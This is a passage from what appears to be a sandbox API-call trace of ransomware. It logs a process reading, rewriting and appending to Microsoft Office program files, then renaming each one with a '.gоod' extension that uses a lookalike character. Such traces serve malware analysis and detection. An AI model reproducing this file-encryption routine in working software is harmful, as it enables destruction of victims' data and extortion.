ftCreationTime.dwLowDateTime=0xe2497e17, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2497e17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4e45ce5c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc5650)) returned 1 [0137.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0137.667] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\firstrun.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\firstrun.exe.gоod")) returned 1 [0137.668] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x53 [0137.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0137.668] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\firstrun.visualelementsmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x39dd798 | out: lpFileInformation=0x39dd798*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x190c9cfa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x158)) returned 1 [0137.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0137.853] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x53 [0137.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0137.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\firstrun.visualelementsmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0137.853] GetFileType (hFile=0x6e4) returned 0x1 [0137.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0137.853] GetFileType (hFile=0x6e4) returned 0x1 [0137.853] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1f59e838 | out: lpFileSizeHigh=0x1f59e838*=0x0) returned 0x158 [0137.853] ReadFile (in: hFile=0x6e4, lpBuffer=0x390f290, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e768, lpOverlapped=0x0 | out: lpBuffer=0x390f290*, lpNumberOfBytesRead=0x1f59e768*=0x158, lpOverlapped=0x0) returned 1 [0137.854] CloseHandle (hObject=0x6e4) returned 1 [0137.881] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x53 [0137.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0137.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\firstrun.visualelementsmanifest.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0137.882] GetFileType (hFile=0x6e4) returned 0x1 [0137.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0137.882] GetFileType (hFile=0x6e4) returned 0x1 [0137.882] WriteFile (in: hFile=0x6e4, lpBuffer=0x3987198*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x1f59e678, lpOverlapped=0x0 | out: lpBuffer=0x3987198*, lpNumberOfBytesWritten=0x1f59e678*=0x160, lpOverlapped=0x0) returned 1 [0137.883] CloseHandle (hObject=0x6e4) returned 1 [0137.883] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x53 [0137.883] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.VisualElementsManifest.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.VisualElementsManifest.xml.gоod", lpFilePart=0x0) returned 0x58 [0137.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0137.883] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\firstrun.visualelementsmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4e64ce28, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x160)) returned 1 [0137.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0137.884] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\firstrun.visualelementsmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.VisualElementsManifest.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\firstrun.visualelementsmanifest.xml.gоod")) returned 1 [0137.885] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.EXE", lpFilePart=0x0) returned 0x39 [0137.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0137.885] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\graph.exe"), fInfoLevelId=0x0, lpFileInformation=0x39885c0 | out: lpFileInformation=0x39885c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2366bd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef8a36d6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xef93c032, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x574260)) returned 1 [0137.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0137.885] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.EXE", lpFilePart=0x0) returned 0x39 [0137.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0137.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\graph.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0137.886] GetFileType (hFile=0x6e4) returned 0x1 [0137.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0137.886] GetFileType (hFile=0x6e4) returned 0x1 [0137.886] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0137.886] ReadFile (in: hFile=0x6e4, lpBuffer=0x3988998, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x3988998*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0138.059] CloseHandle (hObject=0x6e4) returned 1 [0138.059] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.EXE", lpFilePart=0x0) returned 0x39 [0138.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0138.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\graph.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0138.059] GetFileType (hFile=0x6e4) returned 0x1 [0138.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0138.059] GetFileType (hFile=0x6e4) returned 0x1 [0138.060] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x574260 [0138.060] WriteFile (in: hFile=0x6e4, lpBuffer=0x38a2c98*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x38a2c98*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0138.061] CloseHandle (hObject=0x6e4) returned 1 [0138.061] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.EXE", lpFilePart=0x0) returned 0x39 [0138.061] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0138.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\graph.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0138.061] GetFileType (hFile=0x6e4) returned 0x1 [0138.061] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0138.062] GetFileType (hFile=0x6e4) returned 0x1 [0138.062] ReadFile (in: hFile=0x6e4, lpBuffer=0x38a4f38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x38a4f38*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0138.089] CloseHandle (hObject=0x6e4) returned 1 [0138.089] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.EXE", lpFilePart=0x0) returned 0x39 [0138.089] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0138.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\graph.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0138.089] GetFileType (hFile=0x6e4) returned 0x1 [0138.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0138.090] GetFileType (hFile=0x6e4) returned 0x1 [0138.090] WriteFile (in: hFile=0x6e4, lpBuffer=0x38a3cb0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x38a3cb0*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0138.090] CloseHandle (hObject=0x6e4) returned 1 [0138.090] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.EXE", lpFilePart=0x0) returned 0x39 [0138.090] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.EXE.gоod", lpFilePart=0x0) returned 0x3e [0138.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0138.090] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\graph.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2366bd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef8a36d6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4e862f27, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x574270)) returned 1 [0138.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0138.090] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\graph.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\graph.exe.gоod")) returned 1 [0138.091] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.ICO", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.ICO", lpFilePart=0x0) returned 0x39 [0138.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0138.091] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.ICO" (normalized: "c:\\program files\\microsoft office\\root\\office16\\graph.ico"), fInfoLevelId=0x0, lpFileInformation=0x3928998 | out: lpFileInformation=0x3928998*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0063153, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2fe)) returned 1 [0138.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0138.091] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.ICO", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.ICO", lpFilePart=0x0) returned 0x39 [0138.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0138.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.ICO" (normalized: "c:\\program files\\microsoft office\\root\\office16\\graph.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0138.091] GetFileType (hFile=0x6e4) returned 0x1 [0138.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0138.091] GetFileType (hFile=0x6e4) returned 0x1 [0138.091] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1f59e838 | out: lpFileSizeHigh=0x1f59e838*=0x0) returned 0x2fe [0138.092] ReadFile (in: hFile=0x6e4, lpBuffer=0x3928f00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e768, lpOverlapped=0x0 | out: lpBuffer=0x3928f00*, lpNumberOfBytesRead=0x1f59e768*=0x2fe, lpOverlapped=0x0) returned 1 [0138.390] CloseHandle (hObject=0x6e4) returned 1 [0138.848] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.ICO", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.ICO", lpFilePart=0x0) returned 0x39 [0138.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0138.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.ICO" (normalized: "c:\\program files\\microsoft office\\root\\office16\\graph.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0138.850] GetFileType (hFile=0x618) returned 0x1 [0138.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0138.850] GetFileType (hFile=0x618) returned 0x1 [0138.850] WriteFile (in: hFile=0x618, lpBuffer=0x3a2e988*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x1f59e678, lpOverlapped=0x0 | out: lpBuffer=0x3a2e988*, lpNumberOfBytesWritten=0x1f59e678*=0x300, lpOverlapped=0x0) returned 1 [0138.851] CloseHandle (hObject=0x618) returned 1 [0138.851] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.ICO", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.ICO", lpFilePart=0x0) returned 0x39 [0138.851] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.ICO.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.ICO.gоod", lpFilePart=0x0) returned 0x3e [0138.851] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0138.851] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.ICO" (normalized: "c:\\program files\\microsoft office\\root\\office16\\graph.ico"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4ef9ad4c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x300)) returned 1 [0138.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0138.851] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.ICO" (normalized: "c:\\program files\\microsoft office\\root\\office16\\graph.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.ICO.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\graph.ico.gоod")) returned 1 [0138.852] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.EXE", lpFilePart=0x0) returned 0x3a [0138.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0138.852] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove.exe"), fInfoLevelId=0x0, lpFileInformation=0x3a2fbd0 | out: lpFileInformation=0x3a2fbd0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdd36584, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdf403dbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdf58154c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf370c0)) returned 1 [0138.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0138.852] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.EXE", lpFilePart=0x0) returned 0x3a [0138.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0138.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0138.853] GetFileType (hFile=0x618) returned 0x1 [0138.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0138.853] GetFileType (hFile=0x618) returned 0x1 [0138.853] SetFilePointer (in: hFile=0x618, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0138.853] ReadFile (in: hFile=0x618, lpBuffer=0x3a2ffa8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x3a2ffa8*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0139.083] CloseHandle (hObject=0x618) returned 1 [0139.084] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.EXE", lpFilePart=0x0) returned 0x3a [0139.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0139.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0139.084] GetFileType (hFile=0x618) returned 0x1 [0139.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0139.084] GetFileType (hFile=0x618) returned 0x1 [0139.084] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0xf370c0 [0139.084] WriteFile (in: hFile=0x618, lpBuffer=0x3979c90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3979c90*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0139.086] CloseHandle (hObject=0x618) returned 1 [0139.086] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.EXE", lpFilePart=0x0) returned 0x3a [0139.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0139.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0139.086] GetFileType (hFile=0x618) returned 0x1 [0139.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0139.086] GetFileType (hFile=0x618) returned 0x1 [0139.086] ReadFile (in: hFile=0x618, lpBuffer=0x397bf30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x397bf30*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0139.114] CloseHandle (hObject=0x618) returned 1 [0139.114] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.EXE", lpFilePart=0x0) returned 0x3a [0139.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0139.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0139.114] GetFileType (hFile=0x618) returned 0x1 [0139.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0139.115] GetFileType (hFile=0x618) returned 0x1 [0139.115] WriteFile (in: hFile=0x618, lpBuffer=0x397aca8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x397aca8*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0139.115] CloseHandle (hObject=0x618) returned 1 [0139.115] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: 